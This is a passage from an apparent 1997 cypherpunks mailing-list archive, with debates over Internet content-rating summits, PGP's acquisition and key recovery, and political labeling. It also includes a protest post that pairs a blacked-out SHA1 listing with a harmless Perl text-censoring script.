>one side [http://www.ifea.org/] saying the government > >shouldn't pressure the Internet to self-censor (or be > >censored by the Feds). They held a counter-summit press > >conference yesterday. Even the libertarian Cato Institute > >is in this corner. > > > >On the other side, the Center for Democracy and Technology > >[http://www.cdt.org/] is participating in the summit along > >with antiporn groups, high tech firms, and "censorware" > >vendors. > > Declan, > > Life would indeed be dull without tensions, but it's important to have a > clear picture of what's going on in the tension over filtering. > > Somehow you have filtered out a few groups on what you call the "other > side." Even though your was present for much of the Summit, you neglected > to mention important participants in the Summit including: > > People for the American Way, one of the nation's leading civil liberties groups > American Library Association > Media Access Project > > These groups are some of the leading defends of free expression in the > country, so I'm not sure why you left them out. > > In a statement issued at the Summit, People For the American Way's > President said: "We do not want an Internet where lawmakers and > corporations have decided for us what the best filtering method is, but > neither do we advocate a 'Wild West' where any safeguard is called > intrusive. We stand for traditional democratic principles like freedom of > expression and freedom of choice, and as such we believe that families > shold have an array of choices about how best to guide their children." > > CDT shares this view with People For and is committed to assuring that: > > 1) the Net does not become dominated by a single rating system; > 2) that the choice to filter or not is always up to parents, not > governments; and, > 3) anyone using filters has full knowledge of the filtering criteria used. > > Painting this as CDT vs. all other civil libertarians may be convenient, > but it's wrong. I do thank you for acknowledging, at least, the CDT is > committed to a diversity of options. > > We'll have more to say about what happened at the Summit in a day or so. > We welcome the debate over the desirability of filtering, and various > approaches to the issue can go on, but it isn't served by misleading > characterizations. > > Thanks. > > ============================================================================ > * Value Your Privacy? The Government Doesn't. Say 'No' to Key Escrow! * > Adopt Your Legislator - http://www.crypto.com/adopt > > ------------- > > Daniel J. Weitzner, Deputy Director > Center for Democracy and Technology 202.637.9800 (v) > 1634 Eye St., NW Suite 1100 202-637.0968 (f) > Washington, DC 20006 http://www.cdt.org/ > > > > > From love at cptech.org Wed Dec 3 14:18:36 1997 From: love at cptech.org (James Love) Date: Thu, 4 Dec 1997 06:18:36 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3485D7B7.E444A846@cptech.org> Declan, apparently having missed the fab 50's, seems to be enjoying his use of the "leftist" word lately. Since this seems to mean quite different things to different persons, perhaps Mr. McCullagh can define his terms. What exactly is a "leftist" in 1997, in his opinion? Jamie Declan McCullagh wrote: >Other fave leftist censorship causes: [snip] > > [snip] (check out the Center for Media Education, a > leftist group if I ever heard of one. -- James Packard Love Consumer Project on Technology P.O. Box 19367 | Washington, DC 20036 voice 202.387.8030 | fax 202.234.5176 love at cptech.org | http://www.cptech.org From aba at dcs.ex.ac.uk Wed Dec 3 14:41:04 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 4 Dec 1997 06:41:04 +0800 Subject: How long before McAfee PGP v6.0 with GAK? Message-ID: <199712032128.VAA01388@server.test.net> Someone forwarded a wired article: > | PGP is competing with RSA Data Security Inc.'s S/MIME (Secure > | Multipurpose Internet Mail Extension) to become a standard for E-mail > | encryption. So far, PGP appears to be winning the hearts of the IETF > | (Internet Engineering Task Force) because it is based upon the public > | Diffie-Hellman algorithm. Whoever wrote this isn't paying attention. S/MIMEv3 is an IETF process and also uses patent free algorithms. > ===> http://www.wired.com/news/news/politics/story/8906.html > > | Pretty Good Privacy Not Looking So Great > | > | Legendary cypherpunk and former PGP Inc. chief technology officer Phil > | Zimmermann is in the uncomfortable position of having to eat his > | words. Following Monday's US$35 million cash acquisition of PGP by > | Network Associates, the man who once testified before the Senate that > | key recovery could "strengthen the hand of a police state" now works > | for a company that actively promotes it. > | > | Reaction from e-privacy activists was swift and harsh. > | > | "The users of PGP can no longer rely on the credibility of Phil > | Zimmermann to ensure that the product is everything that they've been > | promised it's been previously," said Dave Banisar, attorney for the > | Electronic Privacy Information Center and co-author of The Electronic > | Privacy Papers pgp5.x had corporate message recovery (CMR) features in it from the git-go. Not quite as bad as KRAP (Key Recovery Alliance Partnership -- the government toady scheme for companies argreeing to add GAK to their products), but still risky stuff the way that they implemented it. Anyone who is interested should read: http://www.dcs.ex.ac.uk/~aba/cdr/ where I attempt to compare the risks of PGP Inc's method of disaster recovery with more logical and more secure alternatives. The folks at PGP Inc who poo-pooed the uproar caused by their CMR exploits are now left with the thought that they have built the GAK mechanism for a KRAP company. The KRAP program calls for companies to implement GAK in a two year time-frame, in exchange for this they have the bribe of being allowed to export puny 56 bit encryption in place of the joke 40 bit encryption. So it may be necessary to forget PGP Inc. If I was PRZ I would demand that the name PGP not be used for KRAP. > | Network Associates, formerly known as McAfee Associates, is an active > | member of the Key Recovery Alliance, an organization that lobbies > | Congress for key recovery that would grant law enforcement agencies > | back-door access to private encrypted communications. Yup, they're government sell outs who are part of the "program" helping government to install key recovery government master back door keys etc. PGP Inc's CMR looks set to be the architecture for GAK much earlier than it's detractors predicted. Shame on those at PGP who invented it, and defended it. > | Network Associates and other companies support key recovery because > | it would allow them to export strong crypto software without bothering > | to make a separate nonrecoverable version for the domestic market. Not really, they are allowed to export 56 bit crypto which is still ultra puny. They won't be able to export 128 bit IDEA, or 128 bit CAST, or 112 bit 3DES which is what PGP5.x uses. So they'll either need two versions or they'll dumb down the whole lot to 56 bits, which is just too weak by far. > | But Zimmermann, a pioneer of strong encryption, has spent years > | crusading against key recovery, calling it an invasion of privacy. And > | the most recent release of PGP's encryption software allows users to > | disable key recovery. Many of us were already upset with PRZ for his part in the development of CMR, and for allowing it to happen. It was far too politically risky a technology to associate with the PGP name, or for someone who cared about privacy or personal freedom to endorse. > | "People should give their consent to use [recovery]," Zimmermann said. > | When asked whether future versions of the package will retain that > | option, Zimmermann replied, "Certainly, as long as I have anything to > | say about it." I would imagine that PRZ doesn't retain much control. > | "It's going to take some time to figure things out," said Zimmermann. I hope PRZ does the right thing. > | "It will require a fundamental examination by human rights groups and > | others about whether any newer versions of PGP are truly trustworthy," > | said Banisar. pgp5.x is already tainted with the features to interoperate with future GAKked software from NAI versions of PGP which will likely have GAK to comply with McAfee's KRAP program. Adam From comsec at nym.alias.net Wed Dec 3 15:06:42 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Thu, 4 Dec 1997 07:06:42 +0800 Subject: *** PGP HAS A BACKDOOR - by Phil Zimmerman In-Reply-To: <6441635046.162107260@news.stray.cat.edu> Message-ID: <19971203224005.20152.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- Anonymous wrote: > > PGP 5.5 for Business Security can be configured to use escrow keys. It > > isn't automatic, you have to explicitly enable this. I am pretty sure, > > but not positive, that once enabled, the user is warned that that an > > escrow key is being used. > > Okay, we lived with Viacrypt and PGP 4.5 before. > Let's talk about reasons to include those pieces of suspicious code > in the 5.0 -version for _personal privacy_. > Activated or not, the idea alone is a bad thing and smells like betrayal. > > Why has it been done? Certainly it is not a big problem to compile a version > 5.0 with an activated key escrow-function? Is PGP Inc. waiting for the > law to catch up? > We should observe closely in the future and look out for the little > "enhancements" which will make PGP Inc. keep their market shares: Actually, I'm told the reason for those code hooks is so that commercial users can do INTERNAL key "escrowing", so that if a vital individual dies or quits and refuses to turn over his key to his successor, his employer can recover the key and access encrypted data that would otherwise remain inaccessible. If the employer is paying him to produce something, then the end result is the property of the employer and should not be lost if the employee dies or becomes disgruntled, quits, and refuses to turn over the key (or claims he "forgot" his passphrase) to his employer. OTOH, an employee should be allowed to properly revoke his key upon quitting and distribute the revocation certificate. (The employer may be wise to REQUIRE that.) I really have no problem with that as long as its use remains VOLUNTARY at the user's discretion. Needless to say, an employee in a situation like that should use one key for work-related purposes and a separate, non-escrowed one for his personal use. Although anything is possible, I doubt that the government would use this as a means of implementing MANDATORY key escrowing. The powers-that-be at the NSA seem to have real fits with software encryption to start with, and something that's available in source code and thus modifiable would give them nightmares. I'd expect anything they eventually approve/mandate to be merely a software interface to a tamper-resistant encryption engine in firmware (complete with embedded key[s]). - --- Finger for PGP public key (Key ID=19BE8B0D) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBNIWeZQbp0h8ZvosNAQE1GAf9E0/ZlxyCZSO9FUMIQ8EbdWJce84wqXDs Zm4MgrdVpOkaQJWeC14WEwE2cLl6RRtcS8NSq+2YWpaZw2+8lxFsOcAhPqSCowCi 5OoBw8MraGZd6ARmQSIoveqcEBWTvggwwg9hGUy1/Eh4JDNy2ZfWj+WLgRILG0Hj kV6Uzrlm56oPKdDW4927jwelQcFdj76UDbQSfeVVWXM6hpJtEpxayDdB9vXCWRZ5 eOVf2FA5Lu6LM23zqQ3+gpA1+XTFK4ENCWO+MSDk3OU20Pk7l5SAZ89bfuI7887a yai8KKwHnHmE18Y5DYOrKoP6aDbjgS0207R5Z5khKsv3BLqJ4zKdPQ== =BnQo -----END PGP SIGNATURE----- From rotenberg at epic.org Wed Dec 3 15:12:38 1997 From: rotenberg at epic.org (Marc Rotenberg) Date: Thu, 4 Dec 1997 07:12:38 +0800 Subject: FC: The tensions between Internet advocacy groups In-Reply-To: Message-ID: Danny - I think where the free expression groups differ fundamentally from the position CDT has set out is that we do not believe that the Net should be dominated by rating systems. We recognize that parents have some legitimate concerns about the availability of objectionable material. But we think that there are alternatives to widespread ratings -- including learning more about the benefits of the Internet -- that are preferable. We also recognize that there is a risk that Congress will try to pass CDA II. But we believe that it will be difficult for such an act to survive Constitutional review after Reno v. ACLU. We are perhaps more concerned that an architecture of ubiquitous ratings will provide, as Barry Steinhardt said well at the summit, a blueprint for legislation that would be upheld. What exactly does CDT plan to say to the enthusiastic member of Congress who backs your rating plan and wants to see it enforced with sanctions? What are your own views about a filtering search engine that block access to 99% of the references concerning the "American Red Cross"? A diversity of rating systems is the not the same as a diversity of viewpoints. It is rather a diversity of fears and prejudices. I hope we never see the day when national organizations are routinely called upon to draw up lists of what they do not want others to see. I suspect that those who are concerned about the future of free expression share this view. Marc Rotenberg EPIC From jim.burnes at ssds.com Wed Dec 3 15:28:02 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Thu, 4 Dec 1997 07:28:02 +0800 Subject: CDT and the Threat of Gov't Intervention In-Reply-To: Message-ID: On Wed, 3 Dec 1997, Tim May wrote: > And made many people clamor for self-policing software. > > I have always advocated filtering and self-selection of articles, > magazines, television, movies, restaurants, etc. As such, Web filters are > fine things. If one _only_ wants to read articles favorable to Scientology, > or critical of Catholics, or catering to certain sexual interests, hey, > find some filter services or program your own.... > > However, the drumbeat is being heard that such filter services may not be > fully "voluntary," inasmuch as the Government is "assisting" in their > development, as the current confab shows. (One wonders what the reaction > would be if Bill Clinton, Ira Magaziner, and other government officials > helped organize a conference on how *religions* can help police themselves > and avoid incorrect thoughts? "Churches must learn to police themselves and > avoide heresies, so that government action will not be needed.") I believe I've been beating the drum for that one for a couple months. Now all we need is to talk to a winsock geek and find out how we can wedge our software into the winsock layer so that we could release roll your own censoring software. We then sell it to all know religious organizations (including those not necessarily claiming to be ;-). A small royalty from every thousand copies sent out is then put into the retired cypherpunks relief fund. seriously. rather than complaining that many people find some material objectionable to their tastes we should take advantage of it...and make it widely available. All those millions of dollars sent to churches could then be spent on services delivered to the member families to babysit their kids. Net effect...Clinton/Bore/Freeh/etc fascist dreams of controlling the net go up in smoke.. worth it? jim From declan at vorlon.mit.edu Wed Dec 3 15:30:08 1997 From: declan at vorlon.mit.edu (Declan McCullagh) Date: Thu, 4 Dec 1997 07:30:08 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3485D7B7.E444A846@cptech.org> Message-ID: On Wed, 3 Dec 1997, James Love wrote: > Declan, apparently having missed the fab 50's, seems to be enjoying his > use of the "leftist" word lately. Since this seems to mean quite > different things to different persons, perhaps Mr. McCullagh can define > his terms. What exactly is a "leftist" in 1997, in his opinion? Jamie, I may have missed the fab 50s but I suspect you spent a little too much time in the psychadelic 60s. In 1997, a leftist can best be defined as a big government fetishist. :) Tell your boss Ralph Nader hi for me... -Declan From declan at well.com Wed Dec 3 15:31:26 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 4 Dec 1997 07:31:26 +0800 Subject: CDT and the Threat of Gov't Intervention In-Reply-To: Message-ID: I'd add to Marc's post one comment and one question: * We heard a lot of hot air at the summit this week about "diversity." But I'm not as interested in experiencing a "diversity" of PICS-based systems as I am a diversity of ideas. * Danny, your boss told me today that "you can't stop legislators from legislating." (Personally, I think you can: the 9-0 CDA ruling gives them cover.) But if you believe legislation is inevitable, do rating systems help or hinder civil liberties? Do they provide a framework that Congress will formalize make mandatory? And do they let the DoJ argue that it's easier to comply with a CDA II through "mandatory voluntary" self-rating? BTW, good news from Time-Warner. We are NOT going to self-rate or self-label. This is a corporate-wide policy and applies to pathfinder.com, all the Warner Bros movie and cartoon sites, and other sites like cnn.com. -Declan On Wed, 3 Dec 1997, Marc Rotenberg wrote: > Danny - > > I think where the free expression groups differ fundamentally > from the position CDT has set out is that we do not believe > that the Net should be dominated by rating systems. > > We recognize that parents have some legitimate concerns about > the availability of objectionable material. But we think that > there are alternatives to widespread ratings -- including > learning more about the benefits of the Internet -- that > are preferable. > > We also recognize that there is a risk that Congress will try to > pass CDA II. But we believe that it will be difficult for such > an act to survive Constitutional review after Reno v. ACLU. > We are perhaps more concerned that an architecture of ubiquitous > ratings will provide, as Barry Steinhardt said well at the summit, > a blueprint for legislation that would be upheld. > > What exactly does CDT plan to say to the enthusiastic member > of Congress who backs your rating plan and wants to see it > enforced with sanctions? > > What are your own views about a filtering search engine > that block access to 99% of the references concerning the > "American Red Cross"? > > A diversity of rating systems is the not the same as a > diversity of viewpoints. It is rather a diversity of > fears and prejudices. I hope we never see the day > when national organizations are routinely called upon to > draw up lists of what they do not want others to see. > I suspect that those who are concerned about the > future of free expression share this view. > > Marc Rotenberg > EPIC From love at cptech.org Wed Dec 3 16:10:21 1997 From: love at cptech.org (James Love) Date: Thu, 4 Dec 1997 08:10:21 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3485ED4B.21881E76@cptech.org> Declan McCullagh wrote: > Jamie, I may have missed the fab 50s but I suspect you spent a little too > much time in the psychadelic 60s. In 1997, a leftist can best be defined > as a big government fetishist. :) A "big government fetishist" is cute, but it seems fairly non-specific. Are moral majority types leftists? Are the supporters of the Department of Commerce leftists? Are supporters of a bloated defense department leftists? Can't get enough of that CIA funding leftists? IMF supporters are leftists? FED lovers are leftists? Groups that lobby for higher crop supports are leftists? S&L bail out supporters are leftists? Supporters of GATT are leftists? Are supporters of more NIH funding leftists? (how about the PhRMA support for this?) Supporters of aggressive new government programs to define (and enforce) new Intellectual Property rights are leftists? I think the term "leftists" must mean something more than "a big government fetishist." Frankly, I know of few persons who are consistently advocates of big government, but I know lots of groups, many certainly not leftists, who have their favorite government programs. Maybe, however, you think all these folks are leftists? Jamie -- James Packard Love Consumer Project on Technology P.O. Box 19367 | Washington, DC 20036 voice 202.387.8030 | fax 202.234.5176 love at cptech.org | http://www.cptech.org From nobody at REPLAY.COM Wed Dec 3 16:19:38 1997 From: nobody at REPLAY.COM (Anonymous) Date: Thu, 4 Dec 1997 08:19:38 +0800 Subject: Censorship Message-ID: <199712040004.BAA14178@basement.replay.com> There are two pieces of code included in this message. Or, at least, there would be if I were allowed to express my ideas. Accordingly, the first piece of code has been carefully censored. The second piece of code is a Perl script which does the censoring. The model is that of a tape which the censor lays across anything "offensive." The Perl script has -C and -Perl modes which try to preserve comments. (They can be fooled, so you should look over the results before distributing.) You can also specify the string which is "printed" on the tape. The idea is that every time I write a piece of code which I cannot distribute freely, a censored version will be mailed to appropriate newsgroups, mailing lists, newspapers, and politicians. This should have the effect of continually raising and dramatizing the issue, as well as demonstrating repeatedly how ridiculous it is. I would hope that some decades into the future we will be able to look through the archives for these scraps of censored code and find it amusing. -------------------------------------------------- CENSORED BY THE UN /* A reference implementation of SHA1. */ ITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVE RNMENT CENSORED BY THE UNITED STATES GOVERNME NT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED ST ATES GOVERNMENT CENSORED BY THE UNITED STATES /* Circular left shift operation. */ GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES G OVERNMENT CENSORED BY THE UN I TED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORE D BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CEN SORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERN MENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GO VERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STAT ES /* Prototypes */ GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY TH E UNITED STATES GOVERNMENT CENSORED BY THE UNITED S TATES G OVERNMENT CENSORED BY THE UNITED STATES G /* Hash is contained in H array. */ OVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITE D STATES GOVERNMENT CENSORED BY THE UNITED STATES G O VERNME NT CEN SORED BY THE UNITED STAT ES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENS ORED BY THE UNITED ST /* Initialize H array here. */ ATES GOVERNMENT CE NSORED BY THE UNIT ED STATES GOVERNME NT CENSORED BY THE UNITED STATES GOV ERNMENT CENSORED BY THE UNITED STATES G OVERNMENT CENSORED BY THE UNITED STATES G OVERNMENT CENSORED BY THE UNITED STAT ES GOVERNMENT CENSORE D BY TH E UNITED STATES GOVERNMENT CENSORED BY THE UNITED ST ATES GOVERNMENT CE N SORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED S T A TES GOVERNMENT CENSORED BY T H E UNIT ED STATES GOVERNMENT CENS ORED BY THE UNI TED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATE S /* Handle latest character. */ GOV ERNMENT CENSO R E /* Add padding byte. */ D BY THE UNITE D STATES GOVERNMENT CENS O RED BY THE UNITED STATES GOVERNMEN T CENSORED BY THE UN ITED /* Pad out with zeros. */ STATES GOVERNMENT CEN SORED BY THE U NITED STATES GOVERNMENT C ENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED ST A TES GO V ERNMENT CENSORED BY THE UNITED STATES GOVERNM ENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNIT E /* Add padding byte. */ D ST ATES GOVERNMENT CENS ORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSO RED BY T H /* Pad out with zeros. */ E UNITED STATES GOVERN MENT CENSORED /* Add length information */ BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNME NT CENSORED BY THE UNITED STATES GOVERNMENT CENSO RED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY T /* Final block. */ HE UNITED STATES GOVERN MENT CENSORED B Y THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNI T E D STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSO R ED BY THE UNITED STATES GOVE RNMENT CENSORED BY T HE UNI TED ST ATES GOVERNMENT CEN SORED BY THE UNITED STATE S GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GO V ERNMENT CENSORED BY THE UNI TED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMEN T CENSORE D BY THE UNITED ST ATES GOVE RNMENT CENSORED BY THE UN ITED STATES GOVERNMENT CENSORED BY THE UNITED STAT ES GOVERNMENT CENSORED BY THE UNITED STATES GOVERN MENT CENSORED B Y THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATE S GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED S TATES GOVERNMENT CENSORED BY THE UNITED STATES GOV ERNMENT CENSORE D BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED ST A T ES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GO VERNMENT CENSOR ED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED S T A TES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITE D STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENS ORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED S TATES GOVE RNMENT CEN SORED BY T HE UNITED STATES GOV E -------------------------------------------------- #!/usr/local/bin/perl -w require 5; use strict; $main::censor_string = "CENSORED BY THE UNITED STATES GOVERNMENT "; $main::next_censor_char = 0; $main::c_mode = 0; $main::Perl_mode = 0; sub main { my($switch); while( $switch = shift(@ARGV) ) { if( $switch =~ /^-/ ) { if( $switch eq "-C" ) { $main::c_mode = 1; } elsif( $switch eq "-Perl" ) { $main::Perl_mode = 1; } elsif( $switch eq "-s" ) { if( scalar(@ARGV) > 0 ) { $main::censor_string = shift(@ARGV); } else { die "usage: censor.pl [-C] [-Perl] [-s censor-string]\n"; } } else { die "usage: censor.pl [-C] [-Perl] [-s censor-string]\n"; } } else { die "usage: censor.pl [-C] [-Perl] [-s censor-string]\n"; } } @main::censor_char_list = split(//, $main::censor_string); while(<>) { chomp; if( $main::c_mode && /^\s*\/\*.*\*\/\s*$/ ) { print "$_\n"; } elsif( $main::c_mode && /^(\s*)(\S*.*\S|\S)(\s*\/\*.*\*\/\s*)$/ ) { my($censored) = get_censor_chars(length($2)); print "$1$censored$3$4\n"; } elsif( $main::Perl_mode && /^\s*#.*$/ ) { print "$_\n"; } elsif( $main::Perl_mode && /^(\s*)(\S*.*\S|\S)(\s*#.*)$/ ) { my($censored) = get_censor_chars(length($2)); print "$1$censored$3\n"; } elsif( /^(\s*)(\S.*\S)(\s*)$/ ) { my($censored) = get_censor_chars(length($2)); print "$1$censored$3\n"; } elsif( /^(\s*)(\S)(\s*)$/ ) { my($censored) = get_censor_chars(length($2)); print "$1$censored$3\n"; } else { print "$_\n"; } } } sub get_censor_chars { my($length) = shift; my($i); my(@char_list); for( $i=0; $i < $length; $i++ ) { push(@char_list, $main::censor_char_list[$main::next_censor_char]); $main::next_censor_char = ($main::next_censor_char + 1) % length($main::censor_string); } my($censored_string) = join('', @char_list); return $censored_string; } main(); Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Censorship To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 81D2E52A55F1CE8DE45EE05CE477D184E310E2AA -22DE 22DE 102E6346B81D0F6CA8E8C5272F97AFCC0AFA8D813110CBCB331C217B8A15576252FF2088275FC8F1437CEE2AD8D336AFEC1D2DDBB56CE15D8898E3AE097351537833973840448B2B7B551439455AEADDA5EBC96EC7ABA417F9F3EEA93A060F691BFC1EF3A17BC6BB933523F9C261BA2201BEF38CA014F1E308DD485F520DF2556A23629783277EDAE11A090DB1AA212C0FDE81BEC778600256E830CE6B06223B5D0BD8DEFFF1846F606936BEDFCBFEC3297AECE87B2C6C9D53CF5C6002B56139535FAE1E7D75B2B5F7E7A7465894B3091EDCD2AA4E36C73ECF5F50C413F2184837FB3FE0D751F564E096FBB2F2897F54A7AFC20013442273694E4298F6418C70 5F14E917B40F6799CED397E44C0E3D3E569E820BE25ACFBA5754A6B27FF7610880068CC4BB45423B77D05A6E8606A36275FDC1EF31AC7AEF9C329BDF1084B4074B4B2FD8024E4A09C6535BC87D644E14FB0CDE803138021E253B37CCCFED738D9E1C336B542BCA9057DAF7FC1DF6554422D8A1F83727A858ECE1008F3281908C4A03AEE8FCD4593A1E3CBE5A895EBBDAAD6C335C4C5B7E2AD069B9956CC6855AD9474E25690DB7EB13F9DCB558EB6F502013463DA5FCD223E3DC6C67FA7601966BB71B0DB18DE6DEC17DD756EF7E2BC08298728670AD5CDB7FB0B58471228571BC71D62306404CCC95756DCDB3E3C7F2F0EFB569F45FB5A7A17F6A42871200F2 From jya at pipeline.com Wed Dec 3 16:20:20 1997 From: jya at pipeline.com (John Young) Date: Thu, 4 Dec 1997 08:20:20 +0800 Subject: Censorial leftists (Was: Interesting article) Message-ID: <1.5.4.32.19971203235643.006f3164@pop.pipeline.com> Declan wrote: >Jamie, I may have missed the fab 50s but I suspect you spent a little too >much time in the psychadelic 60s. In 1997, a leftist can best be defined >as a big government fetishist. :) Oh my, this appears to suggest "leftist" means "liberal," the evil twin of evil libertarianism. Some, one or two or least, leftists are far right of the hard right in opposing big government, and even beyond that in opposing big business (Time-Warner, say, or ACLU), and ever further oppositon to big ambitions for big heads prescribing nostrums for the nation and the world under universalizing creeds of liberty, freedom and, well you know how liberals and kissing cousin libertarians lip and gum. Say, how do you distinguish between the two libers in matters of wanting to tell the world what's good for it, wanting to run it just so? Wasn't it the '60s radicals who pronounced pox on feverish liberals and rabid libertarians for their righteous complicity in gov, com, edu, etc., their common inability to forgo wanting to run things from the top, to hang out with the most influential, ahem, each other's dear friends, the "leaders"? Fabulous Ralph Naders, all. From love at cptech.org Wed Dec 3 16:34:01 1997 From: love at cptech.org (James Love) Date: Thu, 4 Dec 1997 08:34:01 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3485F5DD.459EB83C@cptech.org> Declan McCullagh wrote: > > Jamie, if you're seriously confused about the differences between > left-wing and right-wing groups I can help educate you, perhaps with a few > rules of thumb. But I suspect that you really don't want a serious answer. I didn't think the big government fetish answer was very good. I don't want to put words in your mouth. But if you think you can really explain what constitutes a leftist, in your view, I'm ready to read it. Jamie -- James Packard Love Consumer Project on Technology P.O. Box 19367 | Washington, DC 20036 voice 202.387.8030 | fax 202.234.5176 love at cptech.org | http://www.cptech.org From love at cptech.org Wed Dec 3 16:39:06 1997 From: love at cptech.org (James Love) Date: Thu, 4 Dec 1997 08:39:06 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3485F534.18116EDD@cptech.org> Declan McCullagh wrote: > Jamie, I may have missed the fab 50s but I suspect you spent a little too > much time in the psychadelic 60s. In fact, there was quite a bit of red baiting in the 60's. We (this country) actually fought a war in Vietnam, in part because many American political leaders didn't want to be accused of being soft on communism. Red baiting, making non substantive and usually irrelevant accusations about one's values (and loyalties), was a popular sport then, for certain demagogues. Nixon was good at this, in both decades. In the late 60s and early 70's, there was also a time when anyone with a necktie was in danger of being called a fascist. Much of this wasn't anything to be proud of either. The 90's don't seem to me to be a period when labels from the early part of this century are the most telling. I'm often surprised to find what people really think or want, once you move away from older battles or stereotypes. I think its safe to say that stalin-like communism isn't an appealing future for anyone I know. I find these increasingly frequent references to "leftists" or "fellow travelers" (something I recall from an earlier thread) a bit odd. One one sense, it is a form of content labeling, designed to get people to filter out or ignore certain information. On the other hand, it seems designed to polarize communities that often have much in common, even as they disagree on other points. Mr. McCullagh isn't the only one who does this. I'm sure I do this in my own way, from time to time. But perhaps from having lived through more decades (and fads) than Mr. McCullagh, I increasingly find this counter productive. Jamie -- James Packard Love Consumer Project on Technology P.O. Box 19367 | Washington, DC 20036 voice 202.387.8030 | fax 202.234.5176 love at cptech.org | http://www.cptech.org From rah at shipwright.com Wed Dec 3 16:44:04 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 4 Dec 1997 08:44:04 +0800 Subject: Superdistribution development/release Message-ID: Yet Another Watermark... Anyone wanna take bets on how long before it's broken, or at least easily pirated? Cheers, Bob Hettinga --- begin forwarded text From: "Blair Anderson" To: "dcsb at ai.mit.edu" Cc: "Peter Cassidy" , "Brad Cox" Date: Thu, 04 Dec 97 12:58:05 +1300 Priority: Normal MIME-Version: 1.0 Subject: Superdistribution development/release Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: "Blair Anderson" Silver Bullet for Digital Publishing Arrives TragoeS Announces General Availability of RigthsMarket(TM) PR Newswire - December 02, 1997 16:10 TRGO. %ENT %MLM V%PRN P%PRN CALGARY, Dec. 2 /CNW-PRN/ - RightsMarket hits the bull's-eye business opportunity of the 21st century - electronic commerce through digital publishing on the Internet for the $71.3 billion (US) publishing industry (Value-Line, April 11/May 20/May 30, 1997). ``RightsMarket harnesses powerful economic forces that will show people the money in digital document publishing on the Internet,'' stated Lindsay Moir, President of TragoeS Inc., during the company's news conference November 18th at COMDEX `97, Las Vegas. ``With RightsMarket suppliers of digital documents will be paid and 99% of the revenue loss due to piracy will be eliminated.'' TragoeS has successfully implemented the Superdistribution paradigm in RightsMarket. Superdistribution tracks usage rather than possession and is recognised as the best approach to selling digital property (digital versions of text, data, knowledge, pictures, music, videos, etc.) on the Internet. Pricing of RightsMarket is 